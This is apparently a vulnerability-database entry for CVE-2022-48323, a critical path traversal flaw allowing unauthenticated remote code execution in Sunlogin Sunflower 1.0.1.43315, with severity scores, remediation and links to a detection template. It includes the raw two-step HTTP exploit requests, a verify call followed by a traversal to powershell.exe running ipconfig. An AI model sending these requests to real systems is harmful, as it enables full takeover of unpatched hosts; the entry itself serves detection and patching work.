🔙 목록으로 돌아가기

CVE-2022-48323: Sunflower Simple and Personal 1.0.1.43315 - Remote Code Execution

TitleSunflower Simple and Personal 1.0.1.43315 - Remote Code Execution
Authordaffainfo
SeverityCritical
ImpactUnauthenticated attackers can exploit path traversal to execute arbitrary programs on the victim host, potentially executing PowerShell commands and gaining full system control over the remote desktop application server.
RemediationUpgrade Sunlogin Sunflower to a version newer than 1.0.1.43315 that properly validates command parameters and prevents path traversal to system executables.
CVSS Score9.8
EPSS Score0.9069
CVE IDCVE-2022-48323
CWE IDCWE-22
Tags cve cve2022 sunflower rce vkev vuln

🔍 Vulnerability Description

Sunlogin Sunflower Simplified (aka Sunflower Simple and Personal) 1.0.1.43315 is vulnerable to a path traversal issue. A remote and unauthenticated attacker can execute arbitrary programs on the victim host by sending a crafted HTTP request, as demonstrated by /check?cmd=ping../ followed by the pathname of the powershell.exe program.

🌐 HTTP Request

POST /cgi-bin/rpc HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Content-Length: 19
Accept-Encoding: gzip

action=verify-haras
GET /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ipconfig HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Cookie: CID=tW0ccp
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-48323.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-48323.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A